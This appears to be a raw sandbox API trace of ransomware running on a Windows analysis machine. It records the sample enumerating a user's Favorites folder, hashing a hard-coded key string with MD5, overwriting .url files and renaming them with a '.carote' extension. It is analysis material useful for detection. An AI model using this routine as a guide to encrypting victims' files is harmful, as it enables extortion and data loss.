[0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.810] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.811] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.811] PathFindFileNameW (pszPath="") returned="" [0112.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.811] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.811] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.811] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x7a3f060 [0112.811] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.811] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0112.811] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.811] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0112.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.811] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.811] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0112.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.812] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=236) returned 1 [0112.812] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.814] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.814] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.814] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.814] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.815] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xec, lpOverlapped=0x0) returned 1 [0112.815] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.815] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.815] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.815] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.815] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.815] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.815] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.815] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.815] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.816] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.816] GetLastError () returned 0x0 [0112.816] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.816] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.816] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x79f8730 [0112.816] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.816] WriteFile (in: hFile=0x61c, lpBuffer=0x79f8730*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x79f8730*, lpNumberOfBytesWritten=0x825fb24*=0xe7, lpOverlapped=0x0) returned 1 [0112.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0112.816] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.816] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.816] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.816] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.816] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.816] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.816] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.816] CloseHandle (hObject=0x61c) returned 1 [0112.817] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0112.817] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.817] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0112.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.carote")) returned 1 [0112.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.818] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.818] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0112.819] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.819] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.819] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0112.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.819] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=226) returned 1 [0112.819] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.821] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.821] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.821] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.821] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.821] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xe2, lpOverlapped=0x0) returned 1 [0112.821] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.822] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.822] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.822] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.822] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.822] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.822] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.822] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.822] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.822] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.822] GetLastError () returned 0x0 [0112.822] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.823] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.823] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0112.823] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.823] WriteFile (in: hFile=0x61c, lpBuffer=0x7a222d0*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a222d0*, lpNumberOfBytesWritten=0x825fb24*=0xdd, lpOverlapped=0x0) returned 1 [0112.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0112.823] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.823] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.823] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.823] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.823] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.823] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.823] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.823] CloseHandle (hObject=0x61c) returned 1 [0112.824] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0112.824] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.824] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0112.824] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.carote" 